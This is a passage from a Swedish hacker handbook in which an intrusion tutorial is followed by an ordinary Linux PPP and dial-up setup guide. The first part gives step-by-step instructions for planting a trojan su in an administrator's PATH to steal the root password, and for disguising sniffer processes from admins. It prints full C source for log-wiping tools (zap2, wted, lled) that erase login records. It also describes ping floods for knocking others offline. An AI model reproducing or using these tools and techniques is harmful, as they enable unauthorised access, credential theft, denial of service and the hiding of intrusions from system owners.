Så.. Nu vet du det. Ett annat bra sätt att skicka en fil lite osynligt på är genom att skapa en DCC session med en kompis/med en annan dator.. (man sänder filen över IRC), för att göra det använder man kommandot: /dcc send <nick> <filnamn> mottagaren tar emot genom att använda kommandot: /dcc get <nick> <filnamn> Det vore ganska bra att ha en IRCbot på ett shell som tog emot alla filer den fick från ett speciellt nickname va? GCC kompilatorn är iaf enkel!: gcc filnamn.c o nytt_filnamn Så! Om jag nu ville kompilera en fil vid namn rune.c som låg i den aktuella katalogen, och jag ville att den skulle heta mittprogram när den var klar, skulle jag skriva: gcc rune.c o mittprogram Enkelt va? Om jag bara skrev /gcc rune.c skulle jag få en fil vid namn a.out , och jag skulle vara tvungen att döpa om den till mittprogram för att kunna använda den. Kommandot är då: mv a.out mittprogram Om du skaffar dig en källkod med ett namn som zap eller sniffer, så borde du naturligtvis döpa om dessa till något som inte en anti-dåliga-program-scanner skulle kunna känna igen namnet på.. Som inte en admin skulle känna igen namnet på, t.ex. döpa om sniffer till execzip eller vad som helst! Det kommer också vara de gånger du vill köra ett program i bakgrunden även när du har loggat ut från kontot. För att göra detta så lägger du bara till ett & framför programnamnet. Om du tillexempel skulle köra vårat program mittprogram så skulle du skriva: &mittprogram För att inte någon ska undra vad det är föreslår jag att du döper programmet till något som mera liknar de andra programmen som körs i bakgrunden. För att här, likt med Ctrl-Alt-Delete kommandot i Windows, se vilka program som körs, kan du använda ps kommandot. Ps står helt enkelt för process och visar vilka processer som för tillfället körs. Använd också växlarna auxe och titta på resultatet i programmet more för att inte missa något: ps -auxe |more a = alla u = users x = du själv e = env På vissa maskiner måste man skriva pstree för att få se listan. Sedan får du se listan, döp programmet till något som liknar något av det du får se i listan! Sedan så kör du programmet.. med ett & framför. Kolla sedan ps auxe |more igen, för att se om din process(ditt program) körs. ___________________________________________________________________________ Om du har fått access till en admins konto, så kanske du vill kolla hans history-filer för att se om han ofta använder su-kommandot för att komma åt root. Om han gör det så kan du använda en trojan eller keylogger för att få tag på lösenordet till root. Det funkar så här: Du ändrar i adminens shellscript så att en ny, dold katalog (.term eller nåt sånt är bra), läggs till före alla andra katalogen i sök pathén. Alltså, innan alla de andra katalogerna som unix ska söka igenom efter det kommando som personen ifråga använder.. Försök förstå bara! ;-). Du lägger till en körbar su-fil i .term katalogen (eller vilken katalog du nu valde). Sedan när administratören (admin) kommer in, skriver su kommandot, och allt ser bra ut, skriver vidare in lösenordet och då kopieras lösenords id:t till en logfil i: /tmp/.elm69 sedan raderas trojan-su-filen och ger honom ett fel lösenord meddelande och låter honom försöka igen. Denna gången går allt bra eftersom att vår lilla trojan har raderats och Unix kör den äkta su filen istället. 1. Ändra pathen i en av de användarkonton som du har access till som du ser använder SU genom att titta i historie filerna. Ändra pathen så att katalogen som du har lagt din SU trojan i kommer först i listan. 2. Var säker på att du redigerar toppen av SU.c filen till den path (sökväg!) du kommer att använda, så att sutrojanen raderar sig själv och låter den riktiga SU filen arbeta för nästa försök. 3. Lägg alla filerna i adminens katalog och kompilera su.c filen! gcc su.c o su Radera till sist alla filerna utom su filen, och allt är klart! .bash_profile filen ser kanske ut såhär: # .bash_profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environment and startup programs PATH=$PATH:$HOME/bin ENV=$HOME/.bashrc USERNAME="" export USERNAME ENV PATH Då ska du helt enkelt nu ta och ändra den första raden till: PATH=$HOME/.term:$PATH:$HOME/bin Nu kopierar trojanen lösenordet till root (eller om det var ett annat konto, (det talar logfilen om)), till en logfil i /temp. Sedan raderar den sig själv och återställer allt så att det blir frid och fröjd igen. Allt detta då efter att admin har skrivit sitt su kommando.. Gör nu inte detta själv! Då måste du göra om allt igen. Historie filerna finns i användarnas hemkataloger (HOME). De kan innehålla så mycket som de 100 senaste kommandona / raderna skrivna av kontoägaren. Leta här speciellt efter filerna .bash_history eller History. Läs dem med hjälp av more. (more .bash_history). Ok ok ok.. Gömma dina spår lite.. Här är en .c fil som du kan använda till att rensa dina spår efter det att du loggat in i systemet: (kopiera in i en texteditor i ditt hackade system, spara som .c fil och kompilera med gcc.): #include <stdio.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdarg.h> /* First, define the POP-3 port - almost always 110 */ #define POP3_PORT 110 /* What we want our program to be masked as, so nosy sys admin's don't kill us */ #define MASKAS "vi" /* Repeat connect or not - remember, logs still report a connection, so you might want to set this to 0. If set to 0, it will hack until it finds 1 user/password then exit. If set to 1, it will reconnect and try more user/passwords (until it runs out of usernames) */ #define RECONNECT 0 Mer om att göra dig själv osynlig: Det hela går ut på att du ska försöka ha kvar din access så länge som möjligt, lär dig systemet, lär dig genom att utforska det, kolla på hur olika exploits fungerar, det är detta som är meningen!! Om du förstör eller visar dig för admins så är det kört, du blir utkickad och anmäld. Så nu ska jag berätta mer om hur du håller dig osynlig. Det finns ett antal loggfilsrensnings program där ute, det troligen bästa är Zap2. Jag laddade hem zap2 och kompilerade det till namnet z2. Zap ska köras så fort man loggat in som root på systemet. Du kanske först vill kolla med finger @host.xxx för att se vilka som är inloggade. Kolla IDLE tiden för root och admin för att se om de inte är aktiva. Så fort du har loggat in på systemet med ett annat konto, kolla vilka som är på och deras idle tid med kommandot: w. Logga sedan snabbt in som root och kör lika hastigt zap programmet. (I mitt fall skriver jag då): ./z2 mitt-login-namn Kolla nu med w eller who , att du inte syns i listan! Du kommer vara tvungen att kolla vart alla filer i systemet finns och redigera z2.c filen så att den innehåller den rätta lokaliseringen av dessa filer. Här är arean som du kollar efter alldeles i början av filen: #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" De flesta systemen man loggar in på är: #define WTMP_NAME "/var/adm/wtmp" #define UTMP_NAME "/var/adm/utmp" #define LASTLOG_NAME "/var/adm/lastlog" Kolla runt själv. /var/log: är också en vanlig placering. Lägg till lokaliseringarna för varje system i filen och kompilera.. Här är zap2.c filen: z2.c --------------------------- klipp här #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } --------------------------- klipp här Andra scripts Låt oss nu säga att du har loggat in och kört din zap fil. Du måste nu FTP:a in för att grab:a en fil. (Kom ihåg att aldrig FTP:a eller Telnet:a ut från kontot!) Ok, du FTP:ar in och grab:ar ett par filer, eller loggar in på ett annat konto på systemet. Nu blir du tvungen att använda wted. wted låter dig redigera wtmp:en för att ta bort ditt login från FTP:n. Du kanske också behöver använda dig av lld (lastlog edit). Här är menyn om du skriver ./wted, efter att ha satt log sökväg och kompilerat: [8:25pm][/home/compile]wted Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST -h This help -f Use FILE instead of default -a Show all entries found -u Show all entries for USER -b Show NULL entries -e Erase USER completely -c Erase all connections containing HOST -z Show ZAP'd entries -x Attempt to remove ZAP'd entries completely Så om jag FTP:ar till användarnamnet smith skulle jag skriva wted x e . Programmet kommer nu att prompta dig ett login i taget för användaren smith, och fråga om du verkligen vill ta bort det. Efter att du tagit bort ditt login, var då säker på att du gör chmod 664 wtmp.tmp och sedan kopierar den till katalogen ett steg upp i logg systemet: 1. chmod 644 wtmp.tmp 2. cp wtmp.tmp /var/adm/wtmp Ok, här är nu wted programmet: OBS: FÖRSÄKRA DIG OM ATT DU HAR RÄTT SÖKVÄG TILL char filen under, Så att du får rätt sökväg till wtmp filen! wted.c ---------------------- klipp här! #include <stdio.h> #include <utmp.h> #include <time.h> #include <fcntl.h> char *file="/var/adm/wtmp"; main(argc,argv) int argc; char *argv[]; { int i; if (argc==1) usage(); for(i=1;i<argc;i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'b': printents(""); break; case 'z': printents("Z4p"); break; case 'e': erase(argv[i+1],0); break; case 'c': erase(0,argv[i+1]); break; case 'f': file=argv[i+1]; break; case 'u': printents(argv[i+1]); break; case 'a': printents("*"); break; case 'x': remnull(argv[i+1]); break; default:usage(); } } } } printents(name) char *name; { struct utmp utmp,*ptr; int fp=-1; ptr=&utmp; if (fp=open(file,O_RDONLY)) { while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if ( !(strcmp(name,ptr->ut_name)) || (name=="*") || (!(strcmp("Z4p",name)) && (ptr->ut_time==0))) printinfo(ptr); } close(fp); } } printinfo(ptr) struct utmp *ptr; { char tmpstr[256]; printf("%s\t",ptr->ut_name); printf("%s\t",ptr->ut_line); strcpy(tmpstr,ctime(&(ptr->ut_time))); tmpstr[strlen(tmpstr)-1]='\0'; printf("%s\t",tmpstr); printf("%s\n",ptr->ut_host); } erase(name,host) char *name,*host; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct utmp utmp; unsigned char c; if (fp=open(file,O_RDONLY)) { fd=open("wtmp.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if (host) if (strstr(utmp.ut_host,host)) tot++; else {cnt++;write(fd,&utmp,sizeof(struct utmp));} if (name) { if (strcmp(utmp.ut_name,name)) {cnt++; write(fd,&utmp,sizeof(struct utmp));} else { if (n>0) { n--;cnt++; write(fd,&utmp,sizeof(struct utmp));} else { printinfo(&utmp); printf("Erase entry (y/n/f(astforward))? "); c='a'; while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); if (c=='f') { cnt++; write(fd,&utmp,sizeof(struct utmp)); printf("Fast forward how many entries? "); scanf("%d",&n);} if (c=='n') { cnt++; write(fd,&utmp,sizeof(struct utmp)); } if (c=='y') tot++; } } } } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod wtmp.tmp and copy over the original %s\n",file); } remnull(name) char *name; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct utmp utmp; if (fp=open(file,O_RDONLY)) { fd=open("wtmp.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if (utmp.ut_time) { cnt++; write(fd,&utmp,sizeof(struct utmp)); } else tot++; } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod wtmp.tmp and copy over the original %s\n",file); } usage() { printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n"); printf("\t-h\tThis help\n"); printf("\t-f\tUse FILE instead of default\n"); printf("\t-a\tShow all entries found\n"); printf("\t-u\tShow all entries for USER\n"); printf("\t-b\tShow NULL entries\n"); printf("\t-e\tErase USER completely\n"); printf("\t-c\tErase all connections containing HOST\n"); printf("\t-z\tShow ZAP'd entries\n"); printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); } ---------------------- klipp här Du kanske också måste rensa upp i filen /vat/adm/lastlog För att göra detta använder du programmet lled.c. Kompilera programmet och döp om det till lled. Här är menyn av kommandon för programmet när du skriver in kommandot ./lled : [4:04am][/home/paris/compile]lled Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST -h This help -f Use FILE instead of default -a Show all entries found -u Show all entries for USER -b Show NULL entries -e Erase USER completely -c Erase all connections containing HOST -z Show ZAP'd entries -x Attempt to remove ZAP'd entries completely Det vore bra att kolla genom att först använda u , men många gånger kommer det inte att visa ditt host. Men om du vet vad du letar efter kan du skriva (om du kommer från macine.host.com): lled e username c machine.host Om du måste kolla lastlog så borde naturligtvis ditt hostname finnas längst ned. Skriv bara: lled a chmod:a filen lastlog.tmp 664 och kopiera den till katalogen ett steg uppåt. FÖRSÄKRA DIG OM ATT DU FIXAR SÖKVÄGEN TILL DIN LASTLOG NEDAN: Ok; här är lastlog programmet: -------------------------- klipp här #include <stdio.h> #include <time.h> #include <lastlog.h> #include <fcntl.h> char *file="/var/adm/lastlog"; main(argc,argv) int argc; char *argv[]; { int i; if (argc==1) usage(); for(i=1;i<argc;i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'b': printents(""); break; case 'z': printents("Z4p"); break; case 'e': erase(argv[i+1]); break; case 'c': erase(0,argv[i+1]); break; case 'f': file=argv[i+1]; break; case 'u': printents(argv[i+1]); break; case 'a': printents("*"); break; case 'x': remnull(argv[i+1]); break; default:usage(); } } } } printents(name) char *name; { struct lastlog utmp,*ptr; int fp=-1; ptr=&utmp; if (fp=open(file,O_RDONLY)) { while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if ( !(strcmp(name,ptr->ll_line)) || (name=="*") || (!(strcmp("Z4p",name)) && (ptr->ll_time==0))) printinfo(ptr); } close(fp); } } printinfo(ptr) struct lastlog *ptr; { char tmpstr[256]; printf("%s\t",ptr->ll_line); strcpy(tmpstr,ctime(&(ptr->ll_time))); tmpstr[strlen(tmpstr)-1]='\0'; printf("%s\t",tmpstr); printf("%s\n",ptr->ll_host); } erase(name,host) char *name,*host; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct lastlog utmp; unsigned char c; if (fp=open(file,O_RDONLY)) { fd=open("lastlog.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if (host) if (strstr(utmp.ll_host,host)) tot++; else {cnt++;write(fd,&utmp,sizeof(struct lastlog));} if (name) { if (strcmp(utmp.ll_line,name)) {cnt++; write(fd,&utmp,sizeof(struct lastlog));} else { if (n>0) { n--;cnt++; write(fd,&utmp,sizeof(struct lastlog));} else { printinfo(&utmp); printf("Erase entry (y/n/f(astforward))? "); c='a'; while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); if (c=='f') { cnt++; write(fd,&utmp,sizeof(struct lastlog)); printf("Fast forward how many entries? "); scanf("%d",&n);} if (c=='n') { cnt++; write(fd,&utmp,sizeof(struct lastlog)); } if (c=='y') tot++; } } } } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod lastlog.tmp and copy over the original %s\n",file); } remnull(name) char *name; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct lastlog utmp; if (fp=open(file,O_RDONLY)) { fd=open("lastlog.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if (utmp.ll_time) { cnt++; write(fd,&utmp,sizeof(struct lastlog)); } else tot++; } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod lastlog.tmp and copy over the original %s\n",file); } usage() { printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n"); printf("\t-h\tThis help\n"); printf("\t-f\tUse FILE instead of default\n"); printf("\t-a\tShow all entries found\n"); printf("\t-u\tShow all entries for USER\n"); printf("\t-b\tShow NULL entries\n"); printf("\t-e\tErase USER completely\n"); printf("\t-c\tErase all connections containing HOST\n"); printf("\t-z\tShow ZAP'd entries\n"); printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); } ---------------------------------------------------------------- klipp här Kapitel 5: Smurf Attacks Har du någonsin hört talas om de så kallade Smurf Attackerna som folk använder för att få bort sina ovänner från nätet?? Jag vet att det känns lite lamt att ta upp det så här i tredje boken av HM, men det har liksom inte kommit med tidigare. Och detta kan i många fall vara mer effektivt än nukes! - Så. Vad är detta?? När du skickar en ping till någon så kommer ju alltid de paket du skickar tillbaka, så att du ser hur lång tid det tog för förbindelsen att skicka och ta emot paketen Så, vad jag får fram genom detta är att paketen tar upp bandbredd för både din och den du pingar ´s anslutning! Vilket gör att ni båda hamnar efter (laggar) och det går mycket långsammare att surfa mm.. Men om inte paketen skulle komma tillbaka så kunde du skicka paket mycket snabbare! Då skulle ju också mottagarens anslutning bli ÄNNU sämre, kanske till och med kopplas ned!! Så vad vi behöver är Hmm,, ja, någonting som hindrar paketen att nå fram till vår egen dator. Detta görs enkelt genom att använda en firewall! Ett firewall program kan du ladda hem lite här och där på Internet. [ Det svenska ordet för firewall är Brandvägg. ]. En Firewall filtrerar alltså inkommande information från nätet. Det kan vara nukar, pings, ICMP grejor och annat. T.o.m. om någon försöker ansluta till din dator med Back Orifice, Evil FTP eller NetBus etc.. Så varnar programmet och låter dig välja mellan att ignorera, acceptera eller blockera anslutningen. Poängen är att inga paket kan återvända till din dator och att du på så sätt kan pinga din ovän mycket snabbare. Ladda också ner en pinger som tillåter kloner! Du kan då pinga någon med 65000 bytes gånger 10 !!! (10 kloner) vilket blir FETT_MYCKET! ;-). En bra sådan pinger är Fortune 2k ( Final Fortune ). Kapitel 6: Mera UNIX Nu har du säkert suttit med Redhat Linux och pjåkat med X-Windows och en massa krafs, Du har kanske hittat fönsterhanterare och skal mm.. Så jag tror att du vill få igång Internet nu. Även om du inte har ett lika fint skal som Windows var för DOS, så kommer du nu få hjälp med att koppla upp dig direkt från den mörka kod-skärmen. Ni som har hittat en fin fönsterhanterare har nog redan hittat Internet uppkopplingen. Följ med här nu bara! Nätverk I detta kapitel ska jag visa hur du konfigurerar nätverksfunktionerna i Linux. Linux går att använda i många olika situationer och jag har hört talas om ett antal fall där Linux nästan varit den enda lösningen att koppla ihop Windows-, Macintosh-, Novell-, och Unix-baserade nätverk. I vanliga operativsystem skulle du få betala tusan för varje extra arkitektur. Linux kan med hjälp av Samba-sviten vara server och klient till Windows-nätverk med utdelade resurser och allt vad det kallas. Man kan dela filer och skrivare och det skall även funka att använda Linux som domänserver som du kan logga in på precis som med NT. Det finns liknande programsviter till Macintosh och Novell. Linux är ju ungefär Unix så det mesta i den vägen fungerar också. Nätverkskort De flesta nätverkskort fungerar bra i Linux, det största problemet är förmodligen de kort som går under PlugnPlay-stämpeln. Speciellt ISA-korten är problematiska, PCI är oftast inga större problem. Du får titta lite i dina BIOS-inställningar. Ofta kan du välja att du inte har något PnP-operativsystem och att korten inte skall nollställas vid omstart. Har du tur kan du stänga av PnP funktionen på kortet genom något inställningsprogram på den medföljande disketten. Till ISA PnP-kort finns paketet isapnptools, men det är väldigt bökigt, både att konfigurera programmen och att få det att fungera i verkligheten. Det är möjligt att det kommer PnP-stöd till kärnan. Det har diskuterats ett tag om man över huvudtaget vill ha det, PnP är inte särskiljt populärt inom Linuxvärlden, i alla fall inte bland halvreligiösa veteraner. Om du ska köpa nätverkskort kan du titta i Ethernet-HOWTO och Hardware-HOWTO; där står vilka kort som fungerar och vilka som inte gör det. Det finns många billiga modeller som är NE2000-kompatibla. Om de är dåliga blir det problem. Dessa kort bör du inte sätta i servrar eftersom de inte alltid håller speciellt bra men hur som helst har Linux bra NE2000- drivrutiner. Men försök att se till så du kan aktivera PnP Konfiguration När du installerade Linux hittade den kanske ditt nätverkskort och du skrev in IP adress, värdnamn osv. Fungerar det som det ska så är det perfekt. Du kan titta på och ändra inställningarna med programmet ifconfig, men du måste vara root när du vill ändra. Här finner du en massa inställningar som jag tyvärr inte hinner gå igenom här och nu. Testa man ifconfig, whatis ifconfig och what is ifconfig för att få mer info. Internetabonnemang och Linux Har du problem att få till din Linux-uppkoppling mot Internet? Läs i så fall vidare, ty här finner du en scriptgenerator som ställer några frågor om ditt Internet-konto och utifrån dina svar skapas sedan de script och filer som behövs för uppkopplingen. Programmet är testat mot Algonet, Tele2, Telenordia, Telia och Tripnet med gott resultat. Det bör även fungera mot Calypso och IBM. Inledning Många nya Linux-användare brukar ha problem med att koppla upp sig mot Internet. Detta har flera orsaker. Viktigast är nog att de flesta Internet-leverantörer inte sett det som någon viktig uppgift att ta fram korrekta och lättbegripliga instruktioner för Linux, men också på att det faktiskt kan vara lite krångligt att ordna. Detta dokument och tillhörande filer syftar till att reducera problemen till ett minimum genom att till stor del automatisera installationen. För detta utnyttjas ett program (pppinst.sh), som frågar efter Internetleverantör och de uppgifter som behövs för att ringa upp (telefonnumret) och logga in på leverantörens server (användarnamn och lösenord). Därefter skapas automatiskt de script och hjälpfiler som behövs för uppkopplingen. De Internetleverantörer som installationsprogrammet f n bör kunna klara är Algonet, Calypso, IBM, Tele2, Telenordia, Telia och Tripnet. Installationsprogrammet skapar två script (ppp-on och ppp-off) som används vid upp- resp nedkoppling till Internetleverantören. Programmet gör det möjligt att välja om man vill att alla användare skall kunna koppla upp sig mot Internet eller inte - tänk dock på att detta att låta alla användare att göra uppkopplingen innebär en säkerhetslucka som kanske inte spelar någon roll i hemmet, men som absolut inte bör förekomma i system med många användare. Många nya Linux-användare brukar ha problem med att koppla upp sig mot Internet. Detta har flera orsaker. Viktigast är nog att de flesta Internet-leverantörer inte sett det som någon viktig uppgift att ta fram korrekta och lättbegripliga instruktioner för Linux, men också på att det faktiskt kan vara lite krångligt att ordna. Detta dokument och tillhörande filer syftar till att reducera problemen till ett minimum genom att till stor del automatisera installationen. För detta utnyttjas ett program (pppinst.sh), som frågar efter Internetleverantör och de uppgifter som behövs för att ringa upp (telefonnumret) och logga in på leverantörens server (användarnamn och lösenord). Därefter skapas automatiskt de script och hjälpfiler som behövs för uppkopplingen. De Internetleverantörer som installationsprogrammet f n bör kunna klara är Algonet, Calypso, IBM, Tele2, Telenordia, Telia och Tripnet. Installationsprogrammet skapar två script (ppp-on och ppp-off) som används vid upp- resp nedkoppling till Internetleverantören. Programmet gör det möjligt att välja om man vill att alla användare skall kunna koppla upp sig mot Internet eller inte - tänk dock på att detta att låta alla användare att göra uppkopplingen innebär en säkerhetslucka som kanske inte spelar någon roll i hemmet, men som absolut inte bör förekomma i system med många användare. Förberedelser Samla ihop de uppgifter du fått av Internetleverantören: telefonnummer, ditt användarnamn (loginnamn) och lösenord, samt IP-adresserna till de namnservrar som tillhandahålls. Tag reda på vilken serieport som ditt modem är anslutet till. Hämta hem shellarkivet ppp.shar som innehåller alla nödvändiga filer. Ladda hem ppp.shar Skapa en katalog dit du kopierar shellarkivet ppp.shar och placera dig i katalogen. Om arkivet redan är i en lämplig katalog kan du strunta i kopieringen, men katalogen bör helst vara tom, bl a därför att det i annat fall kan hända att vissa filer inte packas upp från arkivet, ty detta är konstruerat så att inga redan existerande filer skrivs över. Packa upp shellarkivet med kommandot sh ppp.shar Installation Installationen kräver att man är inloggad som root: Logga in som root om du inte redan är det! Du skall av din leverantör ha fått IP-adresser till namnservrar (adresserna har formen xxx.xxx.xxx.xxx, där xxx är ett tal 0-255). Dessa skall fogas till filen /etc/resolv.conf. Detta kan du göra så här: Flytta till katalogen /etc (med kommandot cd /etc) Starta en editor för att redigera filen resolv.conf. (t ex pico resolv.conf) Skriv in IP-adresserna för namnservrarna (1 per rad och stava rätt!), t ex nameserver 130.237.225.199 Kör programmet pppinst.sh genom att skriva ./pppinst.sh och svara på frågorna (om inte redan modemet är installerat måste du veta vilken serieport det är anslutet till, dessutom måste du veta namnet på din leverantör, telefonnumret till leverantörens server, ditt loginnamn och ditt lösenord). Resten hanterar programmet. När programmet avslutats bör allt vara klart för uppkoppling. Testa uppkopplingen Se till att modemet är påslaget och att modemkabeln sitter rätt. Logga så in som root och ge kommandot /usr/sbin/ppp-on & OBS att du bör skriva hela filvägen så att du säkert vet att rätt ppp-on körs (det kan ju finnas fler och det är inte säkert att katalogen /usr/sbin ingår i sökvägen). Om det verkar som om förbindelsen upprättas kan du försöka köra något program mot Internet (såsom ftp mot någon svensk ftp-server, t ex ftp.sunet.se). Om även detta går bra, så har du en fungerande Internet-uppkoppling För att avsluta uppkopplingen bör du sedan köra kommandot /usr/sbin/ppp-off Om du valde att även vanliga användare skall kunna göra uppkopplingen, dvs utan att vara inloggad som root, bör du också logga in som vanlig användare och göra om testen. Om det inte fungerar beror det förmodligen på att någon åtkomsträttighet är felaktig (se avsnittet om fel nedan). Lägg dock märke till att i nuvarande skick kan bara root stänga av förbindelsen (med ppp-off). Det finns lösningar på detta problem, men de är enligt min mening inte speciellt bra, så jag har inte implementerat detta än. Trubbel - det fungerar inte! Vanliga fel Om modemet inte reagerar när du ger detta kommando (och om du skrev rätt), då är det förmodligen antingen fel på modemet (kontrollera att det är påslaget och att modemkabeln sitter rätt) eller så är fel serieport knuten till modemet. Om det senare är fallet måste du först radera den gamla länken /dev/modem (med kommandot rm /dev/modem), och därefter kan du antingen köra om programmet eller manuellt fixa det (med kommandot ln -s /dev/cuaX/dev/modem där X är 0,1,2 eller 3 beroende på vilken serieport modemet är kopplat till). Om modemet ringer upp men det inte svarar ett modem i andra änden, då är förmodligen telefonnumret felaktigt eller så fungerar inte servern för tillfället. Om telefonnumret är korrekt (kontrollera filen /etc/ppp/provider), då kan det vara fel på loginnamnet eller lösenordet (kontrollera samma fil och filen /etc/ppp/ppp-secrets) eller så kan det vara fel i själva scriptet (skicka då ett brev till undertecknad med en felbeskrivning) Om uppkopplingen fungerar med root men inga andra användare (och du vill att inte bara root skall ha rätt att göra uppkopplingen), då är rättigheterna på ett eller flera av kommandona och ev även på modem-enheten felaktiga. Du kan då antingen köra om programmet eller ändra rättigheterna manuellt: chmod 755 /usr/sbin/ppp-on /usr/sbin/ppp-off chmod 666 /dev/cuaX chmod 4755 /usr/sbin/pppd Felsökning Alla ppp-uppkopplingar loggas i filen /var/log/messages. Om något krånglar kan man alltså där kontrollera vad som hänt. För att läsa filen kan du t ex ge kommandot: less /var/log/messages Bläddra dig fram till ppp-loggen med tryck på mellanslagstangenten eller använd sökmöjligheten (skriv /ppp inne i less). Anmärkningar Detta är en ej färdigtestad programvara och innehåller sannolikt fel och kan säkert förbättras på många olika sätt. För att det skall bli möjligt att rätta buggar och införa förbättringar krävs dock att du som har synpunkter eller hittar fel meddelar undertecknad detta. Även du som använt programmet med framgång bör skicka mig ett meddelande om detta (uppge din leverantör), så att jag får bekräftelse på att det hela fungerar. Founder@lords.com Good Luck! Faktauppgifterna om de olika leverantörerna och grundscripten för själva uppkopplingen har jag främst hämtat från FAQ för R20_LINUX - Linuxmötet i Svenska fidonet Utan denna information skulle detta installationsprogram inte existerat. (Sammanställd av Björn Lind*** Mars -98 -- uppdaterad hösten-98) Uppkoppling till Swipnet (Tele2) med PPP. I den här artikeln skall jag beskriva hur man tämligen smärtfritt får sin uppkoppling till Tele2:s swipnet att fungera. Vi antar att din Linux-maskin är en fristående dator och att du har modem och ett Internet-konto hos Tele2. Dessa anvisningar fungerar också till Telia, men du får ange annan DNS = namnserver, nämligen 10.0.0.1 och 10.0.0.2 Förberedelser Kontrollera först att du har pppd installerat i kärnan och vilken version av pppd du kör med kommandot: $ /user/sbin/pppd version Detta kommando är ett trick som ger ett felmeddelande men även versionsnumret. Om du kör Redhat finns pppd installerat. Nästa steg är att kolla att kärnan stöder ppp. Ge kommandot: $ dmesg | grep -i ppp Du skall få som svar: PPP: version 2.2.0 (dynamic channel allocation) PPP Dynamic channel allocation code copyright 1995 Caldera, Inc PPP Line discipline registered Om inte, kanske ppp är installerat som modul. Logga in som root och testa: $ insmod ppp Om detta misslyckas, måste du kompilera om kärnan för att få ppp-stöd. Läs i /usr/src/linux/README hur du gör detta. När du konfigurerar kärnan skall du svara ja på följande rader: General setup ---> [*] Networking support Network device support ---> [*] Network device support <*> PPP (point-to-point) support Dessa rader kan se annorlunda ut i icke-2.0 kärnor. När du har kryssat för dessa alternativ, skall du kompilera den nya kärnan. Se /usr/src/linux/README. Ok - då har du ppp-stöd installerat. Då är det dags se till att modemet finns på rätt port. Ofta är musen installerad på com1 (cua0 i Linux) och då bör modemet vara kopplat till com2 (cua1 i Linux). Skapa nu en symbolisk länk till modemet: # cd /dev # ln -sf /dev/cua1 /dev/modem Minicom. För att installera modemet på rätt port, kan vi använda programmet minicom. Det är ett terminalprogram som man kan använda för att testa att modemet fungerar som det ska. Du kan även logga in på Swipnet för att kontrollera hur inloggningen ser ut. Detta är viktigt att känna till när man senare skall skriva ett inloggningsscript. Om du kör Linux Redhat version 4.0 eller senare, kan du starta Xwindows och där installera modemet via "controlpanel", inloggad som root. Kom ihåg com1=cua0 com2=cua1. Ok - du står vid prompten och är inloggad som root. Skriv minicom s Då startar programmet minicom och du hamnar direkt i [configuration]. Välj alternativet "serial port setup". Första inställningen där är "Serial Device". Det är den viktigaste inställningen - vilken port ditt modem är ansluten till. Längst ner står det "Change which setting?" Tryck A och skriv 